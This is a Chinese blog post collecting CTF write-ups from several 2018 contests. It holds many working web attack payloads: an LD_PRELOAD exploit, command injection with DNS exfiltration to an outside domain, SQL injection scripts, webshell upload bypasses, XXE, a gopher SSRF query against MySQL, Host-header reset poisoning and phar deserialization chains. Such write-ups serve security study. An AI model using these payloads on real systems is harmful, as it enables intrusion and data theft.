List [CTL]
我实在不想每场比赛都写一篇单独的博客,所以全部汇总到一起了
2018安恒杯Web安全测试秋季资格赛
爱い窒息、痛
进入题目,是一个大马后门,审计代码:
<?php
$a=isset($_POST['pass'])?trim($_POST['pass']):'';
if($a==''){
echologin();
}else{
chkpass($a);
helloowner($a);
}
function chkpass($a){
if(stripos($_SERVER['HTTP_USER_AGENT'],md5($a))===false){
echofail(1);
}
return true;
}
function helloowner($a){
$b=gencodeurl($a);
$c=file_get_contents($b);
if($c==false){
echofail(2);
}
$d=@json_decode($c,1);
if(!isset($d['f'])){
echofail(3);
}
$d['f']($d['d']);
}
function gencodeurl($a){
$e=md5(date("Y-m-d"));
if(strlen($a)>40){
$f=substr($a,30,5);
$g=substr($a,10,10);
}else{
$f='good';
$g='web.com';
}
$b='http://'.$f.$g;return $b;
}
?>
传入一个字符串pass
,其中有15位是我们可控的(ipv4最长情况3*4+3,如果有短点的域名也可以,假如ip
不足15位,则在后面补/
,一样可以正常解析,如:12.221.21.222//
)。
当pass
的md5值与User-Agent
相等时,服务器请求pass
中的可控15字符,并将返回的json
解析后执行$d['f']($d['d'])
故在服务器上部署代码,修改apache
将index:80
指向它,这样就可以直接以ip
访问:
<?php
$a = array("f" => "system", "d" => "/bin/cat ../flag.php");
echo json_encode($a);
?>
使用脚本访问:
import requests
url = "http://114.55.36.69:8020/upload/dama.php"
_data = {
"pass": "0000000000xxxxxxx///0000000000xxxxx000000", # xxxx为服务器ip
"submit": "submit"
}
_headers = {
"User-Agent": "d35452fe56acbbbf06c1d4db1968f9ba"
}
r = requests.post(url, data=_data, headers=_headers)
print(r.text)
获得Flag
GOGOGO
进去查看相应头Server: GoAhead-http
,查找资料,这个cgi
存在代码执行漏洞
网上的POC
大多为反弹shell
,这道题由于服务器配置问题无法实现,有题干知flag
在cgi-bin/hello.cgi
中,故只需要执行代码读取cgi
文件即可
Linux中编写如下代码(我开始想复杂了,还想调用popen
执行cat
读取,只需要fread
就可以了):
//poc.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
FILE* fp = fopen("cgi-bin/hello.cgi", "r");
char buf[2048];
fread(buf, sizeof(buf), 1, fp);
write(1, buf, sizeof(buf));
}
执行指令编译动态库并发送payload
:
gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt
读取1.txt获得flag
ping也能把你ping挂
进入题目执行ping
指令:
127.0.0.1&ls
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
config.php
contain.html
css
img
index.php
js
ping.php
upload
you_find_upload.php
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.039/0.041/0.043/0.002 ms
进入文件you_find_upload.php
,可上传图片,此处有解析漏洞,上传.php.jpg
后缀文件(原本以为是.php;.jpg
解析漏洞,这里坑了好久),分析源码后暴力猜解随机数即可,使用别人的phppayload
:
<?php
set_time_limit(0);
$url = 'http://114.55.36.69:6664/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_404.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
}
function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}
猜解成功后菜刀连接,得到flag
ping
进入后查看robots.txt
,获得源码,以及where_is_flag.php
<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
?>
知需要使用ping
读取文件where_is_flag.php
,这里使用一个开源项目搭建的平台CEYE,原理是访问一个域名的下属子域名时,dns
解析会有记录。在linux中可以使用飘号包裹命令,如:ping 'echo 111'.xxx.com
('
代表飘号,Markdown
中写不出来)。或可以使用ping http://xxxxx/'whoami'
,解析主机的访问记录
但是这里由于换行符的干扰无法直接读取文件,故使用bash
的循环:
ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;
得到$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php"
,同样的方法读取,得到flag
进击的盲注
这题过滤了括号和斜杠,看了网上的思路知道使用order by
注入,且需使用binary
区分大小写
盲注脚本:
import requests
url = "http://114.55.36.69:6663/index.php"
flag = ""
while True:
for i in range(48, 127):
_data = {
'username': f"admin' union select 1, 2, binary '{flag+chr(i)}' order by 3#",
"password": "aaa"
}
r = requests.post(url, data=_data)
#print(_data["username"])
if "password error!" in r.text:
flag += chr(i-1)
print(flag)
break
output:
λ python3 blind.py
d
dV
dVA
dVAx
dVAxM
dVAxME
dVAxMEB
dVAxMEBk
dVAxMEBkX
dVAxMEBkX2
dVAxMEBkX25
dVAxMEBkX25F
dVAxMEBkX25Fd
dVAxMEBkX25Fdy
dVAxMEBkX25Fdy5
dVAxMEBkX25Fdy5w
dVAxMEBkX25Fdy5wa
dVAxMEBkX25Fdy5waH
dVAxMEBkX25Fdy5waHA
dVAxMEBkX25Fdy5waHA=
dVAxMEBkX25Fdy5waHA=/
dVAxMEBkX25Fdy5waHA=//
dVAxMEBkX25Fdy5waHA=///
dVAxMEBkX25Fdy5waHA=////
dVAxMEBkX25Fdy5waHA=/////
解码得uP10@d_nEw.php
,是一个文件上传,同上一道题,.php.jpg
解析错误,传马后菜刀连接得flag
奇怪的恐龙特性
我觉得不止恐龙奇怪,PHP和出题人都挺奇怪的。
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
代码审计,需要绕过
传入A.A
,后台php会自动转为A_A
。而且php里数组与其余对象比较总是很奇怪,payload为A.A[]=1
,我觉得php和js这种莫名其妙的逻辑简直是魔鬼
出题人也很奇怪,flag出来了但注释掉了,需要查看源码
中国科学技术大学第五届信息安全大赛Hackergame 2018
这个比赛对Web狗很不友好啊,几乎都是Misc, Crypto,还有几道Reverse和Pwn
签到题/猫咪问答/游园会的集章
纯娱乐,略
猫咪和键盘
发现是一个cpp
代码,但顺序被打乱了,每一行都是同样的打乱方法,观察后用脚本还原
with open("typed_printf.cpp", "r") as fp:
fp_format = open("typed_format.cpp", "w")
for i in fp.readlines():
i = i.strip("\n")
i = i[0] + i[32:39] + i[1:7] + i[20:22] + i[8:11] + i[11:20] + i[22:32] + i[39:]
fp_format.write(i+"\n")
fp_format.close()
Linux
下g++ -std=c++17
编译即可
Word文档
文档可以直接解压,获得Flag
猫咪银行
整数溢出,当时间溢出为负数时可直接取钱
payload:存入时间=555555555555555555
黑曜石浏览器
这次比赛创造的梗,主办方特意买了域名做了网站,还做了禁止百度收录,还弄了很高的SEO权重
首先题目要求使用黑曜石浏览器访问,故我们需要找到黑曜石的UA,搜索后找到黑曜石官网,查看源代码,发现前端验证代码里的UA字串,更改UA访问获得Flag
回到过去
Linux下装一个古董编辑器ed,按题目命令尝试,最后字符串为t4a2b8c44039f93345a3d9b2
我是谁
查看Http响应,发现418状态码,搜索知协议标准规定当向一个茶壶发送Http请求时需要返回418状态码,故回答它I am a teepot
第二关,查找RFC文档,按照文档要求更改请求方法和部分请求头,请求报文为
BREW /the_super_great_hidden_url_for_brewing_tea/black_tea HTTP/1.1
Host: 202.38.95.46:12005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Accept-Additions: milk-type; Sugar
Content-Type: message/teapot
猫咪遥控器
按照txt中的上下左右绘制轨迹,脚本写的比较丑…
import turtle
turtle.screensize(1600, 1600, "white")
turtle.setup(width=0.75, height=0.75, startx=None, starty=None)
turtle.pensize(2)
turtle.pencolor("black")
turtle.speed(100)
temp = 'D'
def move(a):
global temp
if a == 'D':
if temp == 'D':
pass
elif temp == 'U':
turtle.right(180)
elif temp == 'L':
turtle.right(90)
elif temp == 'R':
turtle.left(90)
temp = 'D'
elif a == 'U':
if temp == 'U':
pass
elif temp == 'D':
turtle.right(180)
elif temp == 'R':
turtle.right(90)
elif temp == 'L':
turtle.left(90)
temp = 'U'
elif a == 'L':
if temp == 'L':
pass
elif temp == 'R':
turtle.right(180)
elif temp == 'U':
turtle.right(90)
elif temp == 'D':
turtle.left(90)
temp = 'L'
elif a == 'R':
if temp == 'R':
pass
elif temp == 'L':
turtle.right(180)
elif temp == 'D':
turtle.right(90)
elif temp == 'U':
turtle.left(90)
temp = 'R'
else:
return
turtle.forward(1)
with open("seq.txt", "r") as fp:
cl = {'U': 'R', 'L': 'U', 'R': 'D', 'D': 'L', '\n': '\n'}
for i in fp.read():
move(cl[i])
turtle.get_poly()
猫咪克星
脚本连续运算100次后即可获得Flag,中间会有__import('time')__.sleep(100)
等干扰项,需过滤
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('202.38.95.46', 12009))
temp = s.recv(512).decode("utf-8")
with open("result.txt", "w") as fp:
while 1:
temp = s.recv(512).decode("utf-8").strip("\n")
print(temp)
temp = temp.replace("exit()", "0")
temp = temp.replace("__import__('os').system('find ~')", "0")
temp = temp.replace("__import__('time').sleep(100)", "0")
print(temp)
fp.write(temp+"\n")
ans = str(eval(temp))
print(ans)
s.send((ans+"\n").encode("utf-8"))
2018领航杯第三届江苏省青少年网络信息安全竞赛预赛
Dict_Create
题目给了几个小明信息,需要爆破zip
文件密码,由信息生成字典:
import random
key_word = ["xiaoming", "178", "65", "22", "18888888888", "133562477", "painting"]
brute_dic = set()
for i in range(100):
temp = random.choice(key_word)+"_"+random.choice(key_word)
brute_dic.add(temp)
with open("dic.txt", "w") as fp:
for i in brute_dic:
fp.write(i+"\n")
然后用脚本爆破
Chinese_Dream
根据社会主义核心价值观的24字的index,生成对应的整数序列,然后将整数序列当做Hex
字符串得到flag
a = ["富强", "民主", "文明", "和谐", "自由", "平等", "公正", "法治", "爱国", "敬业", "诚信", "友善"]
b = "公正公正公正诚信文明公正民主公正法治法治诚信民主和谐平等和谐敬业和谐富强和谐法治和谐法治和谐富强公正自由公正平等和谐文明公正公正公正自由和谐敬业公正公正公正和谐和谐平等和谐平等公正文明公正和谐公正公正和谐和谐和谐公正和谐民主和谐和谐和谐文明和谐富强和谐敬业和谐敬业公正平等和谐平等和谐和谐公正公正和谐自由法治友善法治"
res = ""
for i in range(0, len(b), 2):
temp = b[i: i+2]
res += str(a.index(temp))
print(res)
pl = ""
for i in range(0, len(res), 2):
temp = res[i: i+2]
temp = chr(int(temp, 16))
pl += temp
print(pl)
XOR
base64
解码以ascii 0~128异或,查找flag
a = "'7=06*e4e5g2bbc3g74gc0gb074dg`f`75bfcd,'"
tmp = ""
for i in range(128):
for j in a:
tmp += chr(i^ord(j))
if "flag" in tmp:
print(tmp)
break
tmp = ""
PYC
在线工具反编译pyc
文件后,发现为rc4
加密,后用网上找的解密脚本(主办方也是从网上抄的,改了改变量名,改了改无关紧要的语句,还改错了a, b = b, a
改成a = b; b = a
)
import random, base64
from hashlib import sha1
def crypt(data, key):
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def tencode(data, key, encode=base64.b64encode, salt_length=16):
salt = ''
for n in range(salt_length):
salt += chr(random.randrange(256))
data = salt + crypt(data, sha1(key + salt).digest())
if encode:
data = encode(data)
return data
def tdecode(data, key, decode=base64.b64decode, salt_length=16):
if decode:
data = decode(data)
salt = data[:salt_length]
return crypt(data[salt_length:], sha1(key + salt).digest())
if __name__=='__main__':
encoded_data = "nKgI13JDX8qpFyUcvsnZqyKxb8Zfv9jCnrWul2knc8ZzhlfDpPxZmA=="
for i in range(1000, 10000):
key = str(i)
decoded_data = tdecode(data=encoded_data, key=key)
if "flag" in decoded_data:
print decoded_data
break
Mamamama
写脚本一直解压ZIP
文件,最后一层解压出一个txt,用在线词频分析工具,获得flag
import zipfile
ptr = 1
while 1:
try:
tmp = zipfile.ZipFile(str(ptr)+".zip")
fp = open(str(ptr+1)+".zip", "wb")
fp.write(tmp.read(tmp.namelist()[0]))
fp.close()
ptr += 1
except:
break
2018安恒杯WEB安全测试秋季预选赛
第一题
忘记是啥题了,略
easy_MD5
数组绕过
MD5
参考这篇文章,传入两个编码文件
注入
sqlmap
跑一下就出来了
传个flag
送分题,略
贪吃蛇
查看源码,有个JS颜表情,运行后出了个假flag,读了游戏源码,发现没有判断,没有请求,猜想一定和颜表情有关,于是查看DOM发现颜表情编码除了console.log
了假flag还给DOM属性赋值了真flag
小站
结束才做出来,还是经验太少,比赛时发现有XSS
但没啥用,而且一开始就想当然把文件上传pass了。首先查看robots.txt
,发现flag.php
,但echo
的是假flag,后查看/controller/Cotroller.php
,查看备份Cotroller.php~
,发现文件上传判断逻辑仅仅是post的filetype
,image/jpeg
绕过后连接webshell
,菜刀无法连接,直接post
命令执行system("cat /var/www/html/flag.php")
,查看源码,得到flag
sleepCMS
基于时间盲注,过滤了preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join|select)/i", $_GET['id'])
,搜索新式时间盲注,使用get_lock
函数,但select
被过滤暂时没有找到绕过方法。运行前先用浏览器加锁,后运行脚本注入
import requests
ac = "database()" # locksql
# ac = "select table_name from information_schema.tables where table_schema='locksql'"
result = ""
# requests.get("http://114.55.36.69:8007/article.php?id=2' and get_lock('111',5)--+")
for i in range(1, 21):
for j in range(32, 127):
try:
url = "http://114.55.36.69:8007/article.php?id=2' and if(mid(({}),{},1)='{}',get_lock('ac',5),1)--+".format(ac, i, chr(j))
r = requests.get(url, timeout=5)
except:
result += chr(j)
break
print(result)
2018安恒杯江苏赛区省赛
常规操作
利用php伪协议读出源码?url=php://filter/read=convert.base64-encode/resource=upload
<?php
header( 'Content-Type:text/html;charset=utf-8 ');
$url = "";
if(empty($_REQUEST["url"])){
//require("news.php");
exit;
}
else {
$url = preg_replace('/%+/', "", $_REQUEST["url"]);
require($url . ".php");
}
//url=zip://C:\wamp\www/1.zip#1
?>
送分的MD5
预选赛原题
!!A_A
资格赛原题
简单文件上传
这个题上传图马是不能解析的。经尝试,文件过滤为文件内容而不是文件后缀表单属性之类的。故添加Webshell前缀为GIF 98a
,上传后发现.php
被转化为.ain
,尝试后发现双写后缀即可绕过,后菜刀连接
新的新闻搜索
预选赛原题,服务器IP端口都没变,Sqlmap直接读了session返回给我上一次的flag,fo了
不一样的上传系统
代码审计,资格赛原题,但网上没人做出来。需上传ZIP文件,后台自动解压,过滤ph
,故后缀为.pHp.jpg
绕过,压缩为ZIP上传,菜刀连接
秘密的系统
访问robots.txt
,发现登录页面,查看源码发现hint
,查看执念于心的Github仓库
/**
1.you can use test/cib_sec to login ,but you are not admin!
2.only admin can upload file ,but whichone can not bypass my rules.
$sign = array(
'id'=>$model->id,
'name'=>$model->username,
'sign'=>md5($model->id.$model->username),
);
$_COOKIE['cib'] = serialize($sign);
**/
以游客账号登录进去,然后序列化sign
对象伪造admin cookie
,payload cookie为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}
,获得管理员权限后上传文件,简单绕过后上传成功,菜刀连接
2018安洵杯
智利-签到题
群论里的求幺元,反正幺元 == random.choice([‘a’, ‘b’, ‘c’, ‘d’]),挨个md5提交
格陵兰-Web1-无限手套
进去提示Parameter NOHO:The Number Of Higher Organisms
,传入NOHO
参数,数组绕过,?NOHO[]=1
,后 见到一个登录框
灭霸,请记好你的password,post
值后回显SQL语句<!--SELECT master FROM secret WHERE password = binary ' �u���1Ù�iw&a'-->
,显而易见是password的md5
转hex
字符串,所以构造一个md5
值中带'or'
的,即可绕过
payload: ffifdyop
德国-方舟计划
几乎和安恒国赛黑市那题一样,当时看到了前端代码但竟然忘了JS
弱类型比较。这里传七个数字去后端,然后与随机生成的七个数字比较,相同则加金币,{"action":"buy","numbers":"1234567"}
,因为Json
是JS
的数据类型,所以直接嵌入数组(字符串也是数组),{"action":"buy","numbers":[true,true,true,true,true,true,true]}
,弱类型绕过很快就能买Flag了,接着Flag需要解一到RSA
,知p, q, e, 求d,写脚本得到Flag
波士尼亚与赫塞哥维纳-Double-S
这一题是Jarvis OJ
上的原题,叫PHPinfo
,是关于session.upload_progress
的,具体步骤见WriteUP,实际上这题的反序列化点不止在filename,PHP_SESSION_UPLOAD_PROGRESS的值也是可控的,而且不需要考虑双引号转义
filename="|O:4:\"Anti\":1:{s:4:\"info\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Array
(
[0] => .
[1] => ..
[2] => .user.ini
[3] => 1.txt
[4] => 404.html
[5] => f1ag_i3_h3re
[6] => gan.php
[7] => gan1.php
[8] => gansss.php
[9] => index.html
[10] => session.php
[11] => www.zip
)
filename="|O:4:\"Anti\":1:{s:4:\"info\";s:65:\"print_r(file_get_contents(\"/home/wwwroot/default/f1ag_i3_h3re\"));\";}"
马利-Magic-Mirror
题目给了hint,是Host Header在找回密码中的欺骗,所以按hint的思路,请求找回密码的时候,将http
请求头的Host
改为自己服务器域名,然后用户名为admin
,接着即可在自己服务器的web日志里找到重置密码的Token:
222.18.158.227 - - [25/Nov/2018:15:40:35 +0800] "GET /resetpassword.php?sign=e3febf04b379e9a89d6d394484c56e9a HTTP/1.1" 404 480 "http://s.nemesisly.xyz/func/getpasscheck.php" "-"
然后利用token重置密码,以admin登录后问d0g3里谁最帅,抓包发现是xxe
攻击,读取flag.php
获得flag
<?xml version="1.0" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<information>
<username>&b;</username>
</information>
蒙古-Diglett
进去后是一个ssrf
,过滤了file
,双写绕过即可,需要本地,添加localhost
读文件:fifilele://localhost/etc/passwd
见这篇文章
然后读源码config.php
获得mysql
数据库的用户名库名表名:test_user, test, secret
。接着使用gopher
协议查询数据库,网上的脚本查询会提示No database name xxx
,无论怎样都无法正常回显数据,所以只好自己wireshark
抓包后代入协议查询:
create user 'test_user'@'localhost';
GRANT ALL ON *.* TO 'test_user'@'localhost';
命令行mysql -h 127.0.0.1 -u test_user -e "select secret from test.flag"
wireshark
数据包:
00000000 b3 00 00 01 85 a2 3f 00 00 00 00 01 2d 00 00 00 ......?. ....-...
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
00000020 00 00 00 00 74 65 73 74 5f 75 73 65 72 00 00 6d ....test _user..m
00000030 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 ysql_nat ive_pass
00000040 77 6f 72 64 00 71 03 5f 6f 73 10 64 65 62 69 61 word.q._ os.debia
00000050 6e 2d 6c 69 6e 75 78 2d 67 6e 75 0c 5f 63 6c 69 n-linux- gnu._cli
00000060 65 6e 74 5f 6e 61 6d 65 08 6c 69 62 6d 79 73 71 ent_name .libmysq
00000070 6c 04 5f 70 69 64 04 32 38 36 36 0f 5f 63 6c 69 l._pid.2 866._cli
00000080 65 6e 74 5f 76 65 72 73 69 6f 6e 07 31 30 2e 31 ent_vers ion.10.1
00000090 2e 32 39 09 5f 70 6c 61 74 66 6f 72 6d 06 78 38 .29._pla tform.x8
000000A0 36 5f 36 34 0c 70 72 6f 67 72 61 6d 5f 6e 61 6d 6_64.pro gram_nam
000000B0 65 05 6d 79 73 71 6c e.mysql
000000B7 21 00 00 00 03 73 65 6c 65 63 74 20 40 40 76 65 !....sel ect @@ve
000000C7 72 73 69 6f 6e 5f 63 6f 6d 6d 65 6e 74 20 6c 69 rsion_co mment li
000000D7 6d 69 74 20 31 mit 1
000000DC 1d 00 00 00 03 73 65 6c 65 63 74 20 73 65 63 72 .....sel ect secr
000000EC 65 74 20 66 72 6f 6d 20 74 65 73 74 2e 66 6c 61 et from test.fla
000000FC 67 g
000000FD 01 00 00 00 01 .....
将hex
复制下来后转为URL encode
>>> a = "b300000185a23f00000000012d0000000000000000000000000000000000000000000000746573745f7573657200006d7973716c5f6e61746976655f70617373776f72640071035f6f731064656269616e2d6c696e75782d676e750c5f636c69656e745f6e616d65086c69626d7973716c045f70696404323836360f5f636c69656e745f76657273696f6e0731302e312e3239095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c 210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031 1d0000000373656c656374207365637265742066726f6d20746573742e666c6167 0100000001"
>>> a = a.replace(" ", "")
>>> a = [a[i: i+2] for i in range(0, len(a), 2)]
>>> '%'.join(a)
'b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01'
最终payload:
gopher://localhost:3306/_%b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01
回显:
N 5.6.40-logw�D@Uj6k<)��-�TLa#(=:LO's1mysql_native_password'def@@version_comment-L��Source distribution�.deftestflagflagsecretsecret-���"'&D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}�"
SWPUCTF
前几天的SWPUCTF,是学长推荐做的,Web题目共五道,质量确实很高,但因为得准备这周三培训和周五讲课的PPT,赛中只做了两道,然后其余题卡住后也没继续研究,就准备赛后看大佬们WriteUP了 (菜的流泪
今天复现了一下题目,学到了不少,觉得很有必要记录一下
用优惠码,买个X
进入题目,是让你买个ipone X
,注册账号并登录,送了一个优惠码
存在源码泄露,查看source.php
,会看到优惠码生成的部分,以及待会第二个需要绕过的部分,这里先说第一个
它产生了一个随机数作伪随机数生成器的种子,所以我们可以通过爆破种子来预测优惠码生成序列,使用C语言工具php_mt_seed,读它的README,获悉该如何传入参数,写脚本生成参数:
pad = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
q = "D1KlD56y4CIccwl" # your code
s = []
for i in q[:8]:
s.append(pad.index(i))
for i in q[8:]:
s.append(62-pad.index(i))
for p in s:
print(str(p)+" "+str(p)+" 0 61 ", end="")
将生成的参数传入php_mt_seed
,大概几十秒后能找到一个使用于php 7.2.x
的种子(这里低于该版本的解释器生成的随机数序列是不同的,题目是7.2.x
),接着将爆破的种子传入EXP脚本:
<?php
$seed = 79978765;
mt_srand($seed);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len=24;
for ($c=0; $c<2; $c++){
$auth='';
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth."\n";
}
这里需要按题目意思生成24为优惠码,将生成的优惠码填入,发起请求,提示购买成功,进入第二个页面,需要绕过一个正则:
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
开始我以为是正则回溯绕过,之后才发现这里是if (true)
进入分支。这里由于正则标志位m的存在,不同行间有一个匹配上就成功,所以%0a
截断后传入more /[f]lag
即可
Injection?
先看到hint,说不是sql注入
……难道nosql(not only sql)不算sql吗。我直接钻进死路想着是不是跟PHP Session
注入啥的有关系,然后就在PHPinfo页面找session想关
MongoDB
我原来开发用它做过后端数据库,也学习过它的注入,可见原来的博文
这个题passwd[$regex]=^xxx
,和SQL一样的正则注入即可,但是它有验证码,我一直以来对待验证码都是半自动手工识别(原来写爬虫被tesseract
的端到端识别率伤害过…),用opencv
库的waitKey
函数来连续打码,脚本如下(没有写验证码错误的处理逻辑):
import requests
import cv2
url = "http://123.206.213.66:45678/index.php"
c_url = "http://123.206.213.66:45678/vertify.php"
l_url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{0}&vertify={1}"
s = requests.Session()
s.get(url)
flag = ""
for i in range(10):
for j in "abcd....xyz":
with open("captcha.png", "wb") as fp:
r = s.get(c_url)
fp.write(r.content)
img = cv2.imread("captcha.png")
cv2.imshow("a", img)
captcha = ""
if cv2.waitKey(0) == 32:
cv2.destroyAllWindows()
captcha = input("captcha: ")
r = s.get(l_url.format(flag+j, captcha))
print(r.text)
if "incorrect" not in r.text:
flag += j
break
print(flag)
皇家线上赌场
这道题真是让我涨姿势
有一个文件读取接口,但它会在传入的参数前join
一个路径,我赛中一直想怎么绕过对..
的过滤,而我真的不知道传入绝对路径时os.path.join
方法会不拼接路径
再有就是我没想到hint里的路径和真实路径不同,感觉这就是专门用来误导的,而我确实不知道/proc
目录查看真实路径的姿势,所以赛中真的懵了,膜ak web的大佬,看来开发和安全需要的知识差别还是不小
所以这里通过/static?file=/proc/self/cwd/app/__init__.py
读到密钥,然后读视图文件的代码,先是用github
的脚本伪造客户端Session
(我最开始使用脚本伪造的session一直有问题,后来发现是我的itsdangerous
库只有0.2.3版本一直没更新,而现在都是1.x了),从而获得admin
身份和1e10+的钱
然后就是一个通过实例、类、它们的方法、全局命名空间的变量跳转访问了(因为这个题限制了函数调用):
这里我们可以传入g.u.{}
,来访问g.u
的成员,g
变量是flask
四种全局变量之一,它一般是用来保存请求的全局临时变量,各请求间的值是独立的,它处于current_app
同一个全局空间下,所以这里我们先获取__globals__
,但只有函数有这个魔术变量(知道它里面有__doc__
这种成员变量就很好理解了),所以按题目hint,先访问当前请求用户g.u
的save
方法:
查看当前全局变量:
save.__globals__
访问SQLAlchemy实例engine:
[db]
再次查看全局
.__init__.__globals__
访问current_app
[current_app]
访问与g变量关联的函数before_request/after_request
.after_request.__globals__
查看g对象所有成员变量
[g].__dict__
完整payload:
field=save.__globals__[db].__init__.__globals__[current_app].before_request.__globals__[g].__dict__
Simple PHP
这道题我开始读到class.php
时还在想这么多类咋没用到,之后听别人题型才知道反序列化不一定需要serialize
,早就听说今年BlackHat
大会爆出的phar
协议漏洞而一直没实践
知道该干嘛后就很简单了,通过一组类的魔术方法构造利用链:
$o3 = new Test();
$o3 -> params = array();
$o3 -> params["source"] = "/var/www/html/f1ag.php";
$o2 = new Show("hacked");
$o2 -> str = array();
$o2 -> str['str'] = $o3;
